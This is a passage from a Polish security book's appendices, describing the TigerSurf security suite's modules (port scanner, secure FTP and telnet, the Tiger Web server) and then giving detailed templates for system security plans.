dla dorosłych lub zawierających nielegalne materiały. Po aktywacji pojawi się nastę-
pujące ostrzeżenie w języku angielskim:
Warning: Site Forbidden, Access Denied
You were forwarded to this page because the company at which you are employed or the current le-
gal guardian expressly, and in most cases, legally forbids entry to the Web site you attempted to ac-
cess. Additionally, persons under 18 years of age and persons who may be offended by adult depic-
tions may not directly or indirectly download, acquire, view, read, listen to, or possess any photograph,
textual material, advertisement, or other communication, message, or other content at, in, or through the
forbidden Web Site.
If you are under the age of 18 years, are offended by such materials, or are acting on behalf of any
governmental agency, you are not authorized to download any materials from any such site, and all
such downloading shall constitute intentional infringement of rights in such materials.
Powyższy komunikat tłumaczymy niżej.
Ostrzeżenie: zabroniona witryna, dostęp zablokowany.
Dodatek A
♦
♦
♦
♦
Oprogramowanie zabezpieczające
351
351
Zostałeś przekierowany na tę stronę, ponieważ firma, w której pracujesz, lub Twój
prawny opiekun jednoznacznie, w większości przypadków mając do tego prawo, za-
bronił wejścia na witrynę internetową, do której chcesz uzyskać dostęp. Dodatkowo,
osoby poniżej 18. roku życia oraz osoby, których uczucia mogą obrażać obrazy dla
osób dorosłych, nie mogą pośrednio lub bezpośrednio pobierać, uzyskiwać, przeglą-
dać, czytać, słuchać lub posiadać żadnych zdjęć, materiałów tekstowych, reklam lub
innych form komunikacji, wiadomości i zawartości innego rodzaju, która znajduje się
lub jest dostępna na zabronionej witrynie internetowej.
Jeśli masz mniej niż 18 lat, czujesz się urażony na widok takich materiałów lub dzia-
łasz w imieniu dowolnej agencji rządowej, nie masz prawa do pobierania żadnych
materiałów z takiej witryny, a proces ich pobierania może oznaczać celowe narusze-
nie prawa w zakresie takich materiałów.
Skanowanie zabezpieczeń
Funkcja skanowania zabezpieczeń (patrz rysunek A.14) to osobisty skaner portów
systemowych z prostym interfejsem użytkownika. Jak już wspomniano w obu tomach
tej książki, skanowanie potencjalnych dziur w zabezpieczeniach powinno odbywać
się dla maksymalnej liczby portów. Należy również śledzić porty wrażliwe na ataki
oraz takie, które mogą być przydatne dla potencjalnych napastników. Ten program
skanera zgłasza wszystkie nasłuchujące porty oraz przedstawia znane metody hake-
rów, dzięki czemu można podjąć dalsze kroki.
Rysunek A.14.
Osobisty skaner
zabezpieczeń
systemu TigerSurf
TigerSearch
Ten moduł został zaprojektowany jako szybki i bezpieczny skaner wyszukiwarek sie-
ciowych. Jeśli chcesz z niego skorzystać, po prostu wpisz słowo lub słowa kluczowe,
zaznacz wybrane wyszukiwarki (do wyboru masz wyszukiwarki AltaVista, Excite,
HotBot, InfoSeek, LookSmart, Lycos, Netscape, Thunderstone i Yahoo!), a następnie
kliknij przycisk Search. Po kilku chwilach pojawi się moduł z wynikami, pozwalający
na prostą nawigację między wybranymi wyszukiwarkami za pomocą zakładek (patrz
rysunek A.15). W każdym oknie możesz załadować inną stronę internetową.
352
Hack Wars. Tom 2. Na tropie hakerów
352
Rysunek A.15.
Moduł przeszukiwania
Internetu
TigerTrack
TigerTrack to kolejne narzędzie z prostym interfejsem, które pozwala śledzić rynek
akcji. Ta wersja TigerTrack pozwala na wyszukiwanie akcji tylko jednej firmy —
musisz wprowadzić odpowiedni symbol, aby móc przeglądać aktualne dane w postaci
tabeli lub wykresu (patrz rysunek A.16).
Rysunek A.16.
Narzędzie do śledzenia
kursów akcji
Bezpieczna usługa FTP
Klient TigerSurf Secure FTP (patrz rysunek A.17) to bezpieczny moduł z prostym inter-
fejsem, służący do przesyłania plików przez sieć LAN, WAN lub Internet. Program ob-
sługuje logowanie anonimowe i z podaniem danych, a także nieznane typy logowania.
Dodatek A
♦
♦
♦
♦
Oprogramowanie zabezpieczające
353
353
Rysunek A.17.
Bezpieczne
przeszukiwanie
serwerów FTP
Bezpieczny telnet
Klient TigerSurf Secure Telnet (patrz rysunek A.18) to bezpieczny moduł z prostym
interfejsem do dostępu przez Telnet w sieciach LAN, WAN i Internet. Program umożliwia
połączenia telnetowe z dowolnym podanym portem i serwerem, a także pozwala na
ś
ledzenie połączeń w celu zapewnienia zaawansowanego bezpieczeństwa oraz możli-
wości rozwiązywania problemów.
Rysunek A.18.
Funkcja bezpiecznego
Telnetu w TigerSurf
Zrzuty ekranowe
Program TigerSurf Screen Capture (patrz rysunek A.19) to przyjazne narzędzie do
szybkiego przechwytywania z Internetu obrazków, programów, gier i innych narzędzi.
Program pozwala na wykonanie zrzutu całego ekranu, formularzy, a także wybranego
obszaru. Inne dostępne funkcje to wykonywanie zrzutów po określonym czasie oraz
drukowanie i zapisywanie obrazków na twardym dysku lub dyskietce.
354
Hack Wars. Tom 2. Na tropie hakerów
354
Rysunek A.19.
Narzędzie Screen
Capture do robienia
zrzutów ekranowych
Przeglądarka zdjęć
Program TigerSurf Image Viewer (patrz rysunek A.20) to doskonałe narzędzie do
przeglądania zdjęć i rysunków z pełnej, automatycznie wygenerowanej listy z pod-
glądem plików. Dzięki temu programowi możliwe jest proste śledzenie i ładowanie
obrazków przechwyconych przez Screen Capture lub utworzonych w innych progra-
mach graficznych. Co więcej, narzędzie to pozwala także na załadowanie wybranego
pliku w celu szybkiej edycji.
Rysunek A.20.
Przeglądarka zdjęć
TigerSurf
Serwer Tiger Web
Serwer Tiger Web to zestaw narzędzi na poziomie przedsiębiorstwa, który może być
stosowany przez użytkowników prywatnych i biznesowych. Serwer może być używany
z dowolnym kontem modemowym, xDSL, kablowym, ISDN lub łączem dzierżawio-
nym. Ten zestaw został zaprojektowany tak, aby umożliwiać obsługę serwera interne-
towego z płyty CD, co oznacza, iż cała witryna może być umieszczona na takiej płycie.
Zapewnia to świetną obronę przed atakami hakerów na Twoją witrynę, gdyż napastnik
nie może zdalnie nadpisać plików na płycie CD.
Dodatek A
♦
♦
♦
♦
Oprogramowanie zabezpieczające
355
355
Inne ekscytujące funkcje programu obejmują podsłuchiwanie sesji, aktywne monito-
rowanie serwera, zdalną kontrolę przez Internet, obsługę CGI (włączając w to dostęp
do księgi gości), pogawędki w czasie rzeczywistym, własne moduły FTP i Telnetu
oraz obsługę adresów IP w czasie rzeczywistym.
Funkcja obsługi adresów IP w czasie rzeczywistym jest czymś wyjątkowym. Użyt-
kownicy ze stałymi, tymczasowymi lub modemowymi kontami dostępowymi mogą
uzyskać profesjonalny dostęp do serwera z dowolnego miejsca i w dowolnym czasie,
niezależnie od istnienia wielu kont modemowych, które przydzielają inny adres IP dla
każdej sesji. Ten zestaw działa również z usługami DNS lub bez nich. Inne oferowane
funkcje to:
demon serwera internetowego z obsługą CGI i własnymi księgami gości;
obsługa adresów IP w czasie rzeczywistym, dzięki czemu można zapewnić
usługi internetowe z każdej konfiguracji połączenia;
demon IRC czasu rzeczywistego (do 50 użytkowników) z funkcją transferu
plików między rozmawiającymi (świetna funkcja także do tworzenia
konferencji biznesowych);
demony FTP i Telnetu do bezpiecznego przesyłania plików i kontroli operacji;
demon monitorowania usług, mający możliwość aktywnego alarmowania
po wystąpieniu przeciążenia zasobów lub awarii usługi;
narzędzia do podsłuchiwania sesji, dzięki której administratorzy mogą
szpiegować, przerywać i rozłączać aktywne połączenia;
osobisty edytor HTML do szybkiego tworzenia strony domowej;
pełny serwer MUD;
własny system tablic ogłoszeniowych;
prosty, przyjazny, scentralizowany graficzny interfejs użytkownika.
Przy użyciu tego programu możesz śledzić gości (w czasie rzeczywistym) oraz szpie-
gować ich sesje, a nawet przerywać ich połączenia w razie potrzeby. Jest to uniwersalny
pakiet komunikacyjny dla firm, rodzin i użytkowników indywidualnych. Gracze mogą
z niego korzystać do gromadzenia użytkowników gier MUD z całego świata. Rodziny
mogą pozostawać w kontakcie i szybko przekazywać sobie pliki i zdjęcia, a studenci
mogą komunikować się ze znajomymi i rodzinami. Podsumowując, żaden inny produkt
na rynku nie oferuje obecnie wszystkich, niżej wymienionych, funkcji.
Obsługa adresów IP w czasie rzeczywistym w celu dynamicznego serwowania
stron internetowych; kompatybilna z połączeniami modemowymi, ISDN,
kablowymi, xDSL oraz łączami dzierżawionymi, z zarejestrowaną nazwą
domeny lub bez niej.
Brak wymagań co do systemu klasy serwera — wymagany jest tylko system
Windows 9x, Millenium Edition (ME), 2000 lub NT (o minimalnych zasobach,
na przykład 16 MB pamięci RAM); jest to idealny system dla domu oraz
małych i średnich firm, gdzie ważne są niskie koszty.
356
Hack Wars. Tom 2. Na tropie hakerów
356
W celu zagwarantowania bezpieczeństwa i mobilności serwer może działać
z płyty CD.
Każdy i w dowolnym miejscu może udostępnić obsługę stron internetowych,
pogawędki w czasie rzeczywistym z przesyłaniem plików oraz usługi Telnetu.
Możliwe jest wykorzystanie bezpiecznego demona do zdalnej kontroli
oraz funkcji szpiegowania sesji.
Odwiedź witrynę www.TigerTools.net lub www.wiley.com, aby uzyskać więcej infor-
macji na temat dostępności serwera Tiger Web oraz oferowanych opcji zakupu.
Dodatek A
♦
♦
♦
♦
Oprogramowanie zabezpieczające
357
357
357
Dodatek B
Szablony planu zabezpieczeń
Plan zabezpieczeń głównej aplikacji
Identyfikacja systemu
Data.
Nazwa systemu
Unikalny identyfikator i nazwa przyznana dla systemu.
Odpowiedzialna organizacja
Organizacja odpowiedzialna za system.
Informacje kontaktowe
Nazwisko osoby znającej system lub właściciela systemu:
nazwisko,
stanowisko,
adres,
telefon,
adres e-mail.
Przydział odpowiedzialności za zabezpieczenia
Nazwisko osoby odpowiedzialnej za bezpieczeństwo systemu:
nazwisko,
stanowisko,
358
Hack Wars. Tom 2. Na tropie hakerów
358
adres,
telefon,
adres e-mail.
Status operacyjny systemu
Jeśli wybrano więcej niż jeden status, należy podać części systemu, jakie obejmuje
dany status:
operacyjny;
w konstrukcji;
przechodzi poważną modyfikację.
Ogólny opis i cele
Opisać funkcję lub cel aplikacji oraz przetwarzane przez nią informacje.
Opisać proces przetwarzania przez aplikację od wejścia do systemu do wyjścia
z niego.
Opisać sposób organizacji użytkowników (wewnętrznych i zewnętrznych)
oraz obsługiwany typ danych i przetwarzania.
Środowisko systemu
Przedstawić ogólny opis techniczny systemu. Należy dołączyć opis wszystkich
czynników środowiskowych i technicznych, które budzą pewne zastrzeżenia
pod względem zabezpieczeń (takie jak połączenia modemowe, otwarta sieć itp.).
Opisać główną platformę komputerową oraz podstawowe komponenty
systemu, włączając w to osprzęt, oprogramowanie oraz zasoby komunikacyjne.
Dołączyć informacje o wszystkich programach chroniących system i informacje.
Połączenia systemu i współdzielenie informacji
Podać listę połączonych systemów oraz ich identyfikatory (jeśli stosowane).
W przypadku połączenia z zewnętrznym systemem, który nie jest objęty
przez plan zabezpieczeń, należy krótko omówić wszystkie niezbędne kwestie
związane z zabezpieczeniami.
Przed połączeniem z innymi systemami oraz współdzieleniem wrażliwych
danych i informacji należy uzyskać pisemną autoryzację. Opisać zasady
zachowania, które muszą być zachowane w połączonych systemach.
Do planu zabezpieczeń dołączyć opis tych zasad lub omówić je w tej sekcji.
Prawo, regulacje i zasady mające wpływ na system
Zamieścić listę wszystkich praw, regulacji i zasad, które ustanawiają
konkretne wymagania wobec poufności, integralności i dostępności
informacji i danych w systemie.
Dodatek B
♦
♦
♦
♦
Szablony planu zabezpieczeń
359
359
Ogólny opis wrażliwości informacji
Ogólnie opisać informacje obsługiwane przez system, a także konieczność
wprowadzenia środków ochronnych. Te informacje muszą się odnosić
do wszystkich trzech podstawowych wymagań dotyczących zabezpieczeń
— dostępności, integralności i poufności. Dla każdej z trzech kategorii
(dostępności, integralności i poufności) wskazać, czy wymagania pod
względem zabezpieczeń są wysokie, średnie lub niskie.
Dołączyć oszacowanie ryzyka oraz wielkości szkód spowodowanych
przez utratę, niewłaściwe użycie, nieautoryzowany dostęp lub modyfikację
informacji w systemie.
Kontrola kierownicza
Ocena i zarządzanie ryzykiem
Opisać metodologię oceny poziomu ryzyka, jaka została użyta do identyfikacji
zagrożeń i słabych stron systemu. Dołączyć datę wykonania oceny ryzyka
systemu. Jeśli dla danego systemu nie wykonano oceny ryzyka, należy
dołączyć datę (miesiąc i rok) przewidywanego wykonania takiej analizy.
Przegląd środków kontroli zabezpieczeń
Wymienić wszystkie niezależne przeglądy zabezpieczeń systemu, jakie
zostały wykonane w ciągu ostatnich trzech lat.
Dołączyć informacje o typie wykonywanej oceny zabezpieczeń i osobie,
która ją przeprowadzała, a także przedstawić cel badania, jego wyniki
oraz działania, które zostały podjęte dzięki badaniu.
Zasady zachowania
Dla każdego systemu należy utworzyć pisemny zestaw zasad zachowania.
Zasady zachowania powinny być udostępnione wszystkim użytkownikom,
zanim uzyskają dostęp do systemu. Zaleca się, aby zasady zawierały stronę
z podpisami, na której użytkownik musi potwierdzić odbiór zasad.
Jasno zdefiniować odpowiedzialność i oczekiwania względem wszystkich
osób, które uzyskują dostęp do systemu. W zasadach należy zawrzeć informacje
o konsekwencjach niewłaściwego zachowania lub nieprzestrzegania zasad.
Dołączyć niezbędne limity połączeń z innymi systemami.
Jako załącznik umieścić zasady zachowania dla systemu, a w tej sekcji
powinien znaleźć się numer właściwego załącznika. Możliwe jest także
dołączenie zasad do tej sekcji.
Planowanie zabezpieczeń w cyklu życia
Ustalić fazę (fazy) cyklu życia systemu lub jego poszczególnych części.
360
Hack Wars. Tom 2. Na tropie hakerów
360
Opisać sposób zapewnienia bezpieczeństwa w fazie (fazach) cyklu życia,
w której obecnie znajduje się system.
Faza inicjacji
Umieścić odnośnik do oceny wrażliwości znajdującej się w sekcji Wrażliwość
przechowywanych informacji.
Faza rozwoju i przejęcia
Czy w czasie projektowania systemu zidentyfikowano wymagania pod
względem bezpieczeństwa?
Czy przed dostarczeniem systemu stworzono odpowiednie kontrole
zabezpieczeń wraz z powiązanymi procedurami badania i testowania?
Czy dokumenty ofertowe (na przykład zapytanie ofertowe) zawierały wymagania
pod względem zabezpieczeń oraz procedur badawczych i testowych?
Czy te wymagania umożliwiają aktualizację zabezpieczeń w razie pojawienia
się nowych zagrożeń i słabych punktów oraz w przypadku wdrożenia nowych
technologii?
Jeśli zakupiono komercyjną aplikację lub jeśli aplikacja zawiera typowe
komercyjne programy, to czy zidentyfikowano i dołączono do specyfikacji
przejęcia ich wymagania wobec zabezpieczeń?
Faza implementacji
Czy wykonano przegląd projektu oraz testy systemowe przed rozpoczęciem
pracy przez system? Czy testy zostały w pełni udokumentowane? Czy system
otrzymał niezbędne certyfikaty?
Czy po zakończeniu projektowania dodano jakieś środki kontroli zabezpieczeń?
Czy aplikacja przeszła badania techniczne w celu sprawdzenia, czy spełnia
wymagania pod względem prawa, regulacji, zasad i standardów?
Czy aplikacja uzyskała certyfikaty i akredytacje? Kiedy? Jeśli system nie
uzyskał jeszcze autoryzacji, podać datę wysłania prośby o autoryzację.
Faza działania i obsługi
Plan zabezpieczeń dokumentuje czynności zabezpieczające wymagane w tej fazie.
Faza usuwania
W jaki sposób informacje są przenoszone do innego systemu, archiwizowane,
usuwane lub niszczone? Omówić środki kontroli używane do zapewnienia
poufności informacji.
Czy wrażliwe dane są szyfrowane?
W jaki sposób informacje są usuwane i kasowane z systemu?
Dodatek B
♦
♦
♦
♦
Szablony planu zabezpieczeń
361
361
Czy informacje lub nośniki są oczyszczane, nadpisywane,
rozmagnesowywane czy niszczone?
Autoryzacja działania
Podać datę autoryzacji, nazwisko i stanowisko menedżera, który autoryzuje
przetwarzanie informacji w systemie.
Jeśli nie uzyskano autoryzacji, podać nazwisko i stanowisko menedżera,
który prosi o zgodę na działanie oraz datę tej prośby.
Kontrola operacyjna
Bezpieczeństwo personelu
Czy wszystkie stanowiska zostały zbadane pod kątem poziomu wrażliwości?
Czy wszyscy użytkownicy odbyli szkolenie odpowiadające stanowisku, które
zostało im przydzielone?
Czy dostęp użytkowników został ograniczony do minimalnego poziomu,
wymaganego do wykonania pracy?
Czy istnieje system zamawiania, zakładania, wydawania i zamykania kont
użytkowników?
Czy krytyczne funkcje zostały rozdzielone między różne osoby (podział
obowiązków)?
Jakie mechanizmy zastosowano, aby użytkownicy byli odpowiedzialni
za swoje postępowanie? Opisać te mechanizmy.
Jakie są procedury przyjaznego i nieprzyjaznego zakończenia procesu?
Ochrona fizyczna i środowiskowa
Opisać fizyczne zabezpieczenia obszaru, na którym aplikacja wykonuje przetwarzanie
informacji (na przykład blokady terminali, ogrodzenie wokół budynków lub terenów
organizacji itp.). Należy omówić takie czynniki, jak kontrola dostępu, bezpieczeństwo
pożarowe, awaria systemów wsparcia, zawalenie budynku, awaria kanalizacji, prze-
chwycenie danych oraz systemy mobilne i przenośne.
Kontrola produkcyjna oraz kontrola wejścia i wyjścia
Opisać środki kontroli używane do oznaczania, klasyfikowania, przetwarzania, prze-
chowywania oraz usuwania informacji i nośników wejściowych i wyjściowych, a tak-
ż
e procedury etykietowania i dystrybucji informacji oraz nośników. Przedstawić listę
ś
rodków kontroli do monitowania instalacji i aktualizacji oprogramowania aplikacji.
Zamieścić opis stosowanych procedur, które obsługują działanie aplikacji. Poniżej
znajduje się kilka przykładów tematów, które powinny zostać omówione.
Wsparcie dla użytkowników: Czy istnieje komórka lub grupa ludzi zajmująca
się pomocą użytkownikom, która potrafi udzielić porady lub zareagować
362
Hack Wars. Tom 2. Na tropie hakerów
362
na naruszenie bezpieczeństwa w określonym terminie? Czy istnieją procedury,
takie jak opisane poniżej, które dokumentują sposób rozpoznawania,
rozwiązywania i raportowania takich zdarzeń lub problemów?
Procedury, dzięki którym nieautoryzowane osoby nie mogą odczytać, skopiować,
zmienić ani ukraść wydrukowanych lub elektronicznych informacji.
Procedury, dzięki którym tylko autoryzowani użytkownicy mogą pobrać,
odebrać lub dostarczyć informacje wejściowe i wyjściowe oraz nośniki.
Ś
ledzenie odbioru ważnych danych wejściowych i wyjściowych.
Procedury ograniczające dostęp do urządzeń wyjściowych.
Procedury i środki kontroli przy transporcie lub wysyłce nośników i wydruków.
Zewnętrzny lub wewnętrzny system znakowania wrażliwości informacji.
Zewnętrzny system znakowania z instrukcjami dotyczącymi sposobu
traktowania (na przykład identyfikatory dziennika lub inwentarza,
kontrolowany dostęp, specjalne instrukcje dotyczące przechowywania,
daty wysłania lub zniszczenia).
Kontrola śladów do celów zarządzania inwentarzem.
Procedury i środki kontroli fizycznej i środowiskowej ochrony miejsca
przechowywania nośników i biblioteki.
Procedury czyszczenia nośników elektronicznych w celu ponownego użycia
(na przykład nadpisanie lub rozmagnesowanie nośników elektronicznych).
Procedury kontrolowanego przechowywania, obsługi i zniszczenia
uszkodzonych nośników lub takich, które nie mogą być wyczyszczone w celu
ponownego użycia.
Procedury fizycznego zniszczenia wydruków, które nie są już potrzebne.
Planowanie awaryjne
Krótko opisać procedury (plan zapasowy), które pozwolą na kontynuację działania
aplikacji, jeśli system obsługi IT stanie się niedostępny. Jeśli formalny plan zapasowy
został w pełni utworzony, należy umieścić odnośnik do niego. Kopia planu zapaso-
wego może być dołączona jako załącznik. W tej sekcji należy dołączyć wymienione
poniżej elementy.
Wszystkie umowy dotyczące obsługi archiwizacji (na przykład kontrakt
z komercyjnym dostawcą usług).
Udokumentowane procedury archiwizacji, włączając ich częstotliwość
(codziennie, tygodniowo, miesięcznie) oraz zakres (pełna kopia awaryjna,
kopia przyrostowa lub różnicowa).
Miejsce przechowywania kopii zapasowych oraz liczbę utrzymywanych
generacji kopii zapasowych.
Dodatek B
♦
♦
♦
♦
Szablony planu zabezpieczeń
363
363
Czy istnieją przetestowane plany zapasowe na wypadek wystąpienia groźnego
zdarzenia? Jak często są testowane?
Czy wszyscy pracownicy zostali przeszkoleni w zakresie swoich ról
i odpowiedzialności pod względem planów awaryjnych, ratunkowych
i na wypadek katastrofy?
Zasięg procedur archiwizacji (na przykład, co jest archiwizowane).
Kontrola obsługi oprogramowania
Czy oprogramowanie zostało napisane w firmie lub na zamówienie?
Czy oprogramowanie należy do organizacji? Czy oprogramowanie zostało
otrzymane z innego biura?
Czy oprogramowanie jest produktem komercyjnym, objętym prawami
autorskimi, lub typu shareware? Czy zakupiono wystarczająco dużo licencji
dla wszystkich systemów, na których będzie wykorzystywana ta aplikacja?
Czy istnieje formalny proces kontroli zmian dla aplikacji; a jeśli tak,
czy wymaga on przetestowania i zatwierdzenia wszystkich zmian
w oprogramowaniu, zanim zostanie ono wdrożone do użycia?
Czy dane testowe były danymi rzeczywistymi, czy spreparowanymi?
Czy wszystkie zmiany w oprogramowaniu są udokumentowane?
Czy wszystkie wyniki testów zostały udokumentowane?
Czy zainstalowano wszystkie niezbędne poprawki?
Czy zasady organizacji nie pozwalają na nielegalne użycie oprogramowania
objętego prawami autorskimi lub typu shareware?
Czy wykonywane są okresowe kontrole komputerów użytkowników pod
względem instalacji tylko legalnych kopii programów, na które posiadana
jest licencja?
Jakie programy i procedury są wykorzystywane w celu zabezpieczenia przed
nielegalnym użyciem oprogramowania?
Czy istnieje zarządzanie gwarancjami na oprogramowanie w celu
minimalizacji kosztów aktualizacji, uzyskania zwrotu kosztów lub wymiany
wadliwych produktów?
Kontrola ważności i integralności danych
Czy zainstalowano oprogramowanie do wykrywania i eliminacji wirusów?
Jeśli tak, to czy istnieją procedury do aktualizacji plików podpisów wirusów,
automatycznego lub ręcznego skanowania antywirusowego oraz usuwania
wirusów i tworzenia raportów?
Czy stosowane są przez system procedury kontrolne — na przykład sumy
kontrolne, sumy hash i liczniki rekordów? Należy dołączyć opis działań
podjętych w celu usunięcia wszelkich niezgodności.
364
Hack Wars. Tom 2. Na tropie hakerów
364
Czy używane są narzędzia do sprawdzania i łamania haseł?
Czy aplikacje korzystają z programów do weryfikacji integralności w celu
wyszukania dowodów na manipulację danymi, błędów oraz pominięć?
Czy w systemie zainstalowano narzędzia do wykrywania włamań?
Czy używana jest funkcja monitorowania wydajności systemu w celu analizy
dzienników wydajności systemu w czasie rzeczywistym, wyszukiwania
problemów z dostępnością (włączając w to aktywne ataki) oraz awarii lub
spowolnienia pracy systemu i sieci?
Czy w systemie są wykonywane testy penetracji? Jeśli tak, to jakie procedury
są stosowane w celu zapewnienia prawidłowego wykonywania takich testów?
Czy aplikacja używa funkcji uwierzytelniania wiadomości w celu upewnienia
się, czy nadawca wiadomości jest znany, a wiadomość nie została zmieniona
w czasie transmisji?
Dokumentacja
Dokumentacja systemu obejmuje opisy sprzętu i programów, zasady, standardy, procedu-
ry oraz akceptacje odnoszące się do bezpieczeństwa zautomatyzowanego systemu infor-
matycznego (aplikacja oraz system obsługi, na którym jest ona wykonywana). Należy tu
także dołączyć opis procedur archiwizacji oraz planu zapasowego, a także opis procedur
użytkownika i operatora.
Przedstawić listę dokumentacji aplikacji (dokumentacja sprzętu i programów
od producenta, wymagania funkcjonalne, plan zabezpieczeń, plan zabezpieczeń
systemu ogólnego wsparcia, podręczniki aplikacji, dokumentacja wyników
testów, standardowe procedury operacyjne, procedury awaryjne, plany zapasowe,
zasady i procedury użytkownika, ocena ryzyka, dokumenty i oświadczenia
o certyfikatach i akredytacji, przeglądy weryfikacyjne i inspekcje).
Znajomość zabezpieczeń i szkolenia
Opisać program świadomości aplikacji (plakaty, foldery i inne).
Opisać typ i częstotliwość szkoleń w zakresie obsługi danej aplikacji i systemu
ogólnego wsparcia, przeprowadzanych dla pracowników oraz osób
współpracujących (seminaria, warsztaty, zajęcia w klasach, grupy
dyskusyjne, odgrywanie ról oraz szkolenie w trakcie pracy).
Opisać procedurę sprawdzania, czy pracownicy i osoby współpracujące
przeszły niezbędne szkolenia.
Kontrola techniczna
Identyfikacja i uwierzytelnianie
Opisać mechanizmy kontroli uwierzytelniania dla głównej aplikacji.
Opisać metodę uwierzytelniania użytkowników (hasło, token lub cechy
biometryczne).
Dodatek B
♦
♦
♦
♦
Szablony planu zabezpieczeń
365
365
Jeśli stosowany jest system haseł, podać następujące informacje:
dozwolony zestaw znaków;
długość hasła (minimalna i maksymalna);
okres upływu ważności hasła oraz sposób wymuszania jego zmiany;
liczba niedozwolonych generacji starych haseł;
procedury zmiany hasła;
procedury obsługi zagubionych haseł;
procedury obsługi naruszenia systemu haseł.
Wskazać częstotliwość zmiany haseł, opisać sposób wymuszenia zmiany
hasła (na przykład przez program lub administratora systemu) oraz podać
osobę, która zmienia hasło (użytkownik, system lub administrator systemu).
Opisać sposób obsługi poszczególnych kont i kontroli śladów (na przykład,
czy hasła są powiązane z identyfikatorem użytkownika, który jest
przydzielony tylko dla jednej osoby) przez mechanizm kontroli dostępu.
Opisać techniki własnego zabezpieczenia mechanizmu uwierzytelniania
użytkownika (na przykład, czy hasła są przesyłane i przechowywane
przy użyciu jednokierunkowego szyfrowania tak, że nikt, włączając w to
administratora, nie może odczytać haseł w czystym tekście; czy hasła są
generowane automatycznie; czy hasła są porównywane ze słownikiem
niedozwolonych haseł; czy hasła są szyfrowane w czasie przesyłania).
Podać liczbę nieudanych prób dostępu, jaka może wystąpić dla danego
identyfikatora użytkownika lub miejsca dostępu (terminal lub port),
a także opisać działania, jakie zostaną podjęte po przekroczeniu limitu.
Opisać procedurę weryfikacji, czy zostały zmienione wszystkie domyślne
hasła administratorów, które ustawiono systemowo.
Opisać procedury ograniczania skryptów dostępowych z dołączonym hasłem
(na przykład, czy skrypty z dołączonym hasłem są zabronione lub dozwolone
tylko dla aplikacji wsadowych).
Opisać wszystkie zasady, które pozwalają na pominięcie wymagań
dotyczących uwierzytelniania użytkownika, technologie „pojedynczego
podpisu” (na przykład bezpośrednie połączenie dwóch komputerów, serwery
uwierzytelniania, identyfikator „użytkownik do hosta” oraz identyfikatory
grup użytkowników), a także wszystkie środki kontroli naruszenia
uwierzytelniania.
Czy używane są podpisy cyfrowe, czy elektroniczne? Jeśli tak, należy opisać
używane standardy a także procedury zarządzania kluczami — generowanie,
dystrybucja, przechowywanie i usuwanie.
Logiczna kontrola dostępu
Omówić środki kontroli, które są stosowane do autoryzacji lub ograniczenia
działalności użytkowników i personelu systemowego w ramach aplikacji.
Opisać funkcje sprzętu lub oprogramowania, które zostały utworzone w celu
366
Hack Wars. Tom 2. Na tropie hakerów
366
umożliwienia tylko autoryzowanego dostępu do aplikacji lub wewnątrz niej,
do ograniczenia działań użytkowników tylko do autoryzowanych transakcji
i funkcji, a także do wykrywania nieautoryzowanych działań (na przykład listy
kontroli dostępu ACL).
Opisać sposób przyznawania uprawnień dostępowych. Czy przywileje są
przydzielane w oparciu o wykonywane zadania?
Opisać możliwość utworzenia przez aplikację listy kontroli dostępu ACL
lub rejestru.
Opisać sposób, w jaki ogranicza się użytkownikom aplikacji dostęp do
systemu operacyjnego, innych aplikacji lub innych zasobów systemowych,
które nie są wymagane podczas wykonywania przez nich swoich obowiązków.
Opisać środki kontroli używane do wykrywania nieautoryzowanych prób
transakcji przez autoryzowanych lub nieautoryzowanych użytkowników.
Podać wszystkie ograniczenia, które uniemożliwiają użytkownikom uzyskanie
dostępu do systemu lub aplikacji poza normalnymi godzinami pracy
lub w czasie weekendów. Należy wymienić zastosowane ograniczenia.
Wskazać, po jakim okresie braku aktywności użytkownika system automatycznie
oczyszcza wyświetlany obraz, a po jakim czasie system automatycznie
odłącza nieaktywnych użytkowników lub wymaga od nich ponownego
podania unikalnego hasła w celu przyłączenia do systemu lub aplikacji.
Wskazać, czy jest stosowane szyfrowanie jako część procedur kontroli
dostępu do systemu lub aplikacji w celu uniemożliwienia nieautoryzowanego
dostępu do wrażliwych plików.
Uzasadnić decyzję o użyciu banerów ostrzegawczych lub ich braku; dołączyć
przykłady używanych banerów.
Kontrola dostępu publicznego
Jeśli osoby z zewnątrz uzyskują dostęp do głównej aplikacji, należy opisać zastoso-
wane dodatkowe środki kontroli, używane do zabezpieczenia integralności aplikacji
oraz zabezpieczenia przetwarzanych informacji. Takie środki kontroli obejmują roz-
dzielenie informacji udostępnianych osobom z zewnątrz od oficjalnych plików orga-
nizacji. Inne środki kontroli mogą obejmować:
pewną formę identyfikacji i uwierzytelniania;
kontrolę dostępu w celu ograniczenia elementów, jakie użytkownik może
czytać, zapisywać, modyfikować lub usuwać;
ś
rodki kontroli uniemożliwiające użytkownikom z zewnątrz modyfikację
informacji w systemie;
podpisy cyfrowe;
płytę CD-ROM z informacjami, które mają być dystrybuowane na zewnątrz;
umieszczenie w oddzielnym systemie kopii informacji do publicznego dostępu;
ograniczenie osobom z zewnątrz dostępu do działających baz danych;
Dodatek B
♦
♦
♦
♦
Szablony planu zabezpieczeń
367
367
weryfikację czy udostępniane na zewnątrz programy i informacje są wolne
od wirusów;
kontrolę śladów oraz poufność użytkowników;
dostępność systemu i danych;
analizę prawną.
Śledzenie śladów
Czy funkcja śledzenia śladów współpracuje z funkcją obsługi kont, dzięki
czemu można uzyskać zapis działań użytkownika?
Czy funkcja śledzenia śladów obejmuje wystarczająco dużo informacji,
aby ustalić typ zdarzeń i ich sprawcę? Należy tu umieścić typ zdarzenia, datę
wystąpienia zdarzenia, identyfikator użytkownika powiązany ze zdarzeniem
oraz program lub polecenie użyte do rozpoczęcia zdarzenia.
Czy dostęp do dzienników funkcji śledzenia jest ściśle kontrolowany?
Czy zapewniona jest poufność informacji funkcji śledzenia śladów, jeśli
na przykład są zapisywane osobiste dane użytkowników?
Jak często są przeglądane dane funkcji śledzenia śladów? Czy istnieją zasady
takiego przeglądu?
Czy właściwy administrator na poziomie systemu lub aplikacji przegląda
dane funkcji śledzenia śladów, badając znany problem systemu albo aplikacji,
znany przypadek naruszenia istniejących wymagań przez użytkownika
lub niewyjaśniony problem związany z systemem lub użytkownikiem?
Plan zabezpieczeń systemu ogólnego wsparcia
Identyfikacja systemu
Data.
Nazwa systemu
Unikalny identyfikator i nazwa przyznana dla systemu.
Odpowiedzialna organizacja
Organizacja odpowiedzialna za system.
Informacje kontaktowe
Nazwisko osoby znającej system lub właściciela systemu:
nazwisko,
stanowisko,
368
Hack Wars. Tom 2. Na tropie hakerów
368
adres,
telefon,
adres e-mail.
Przydział odpowiedzialności za zabezpieczenia
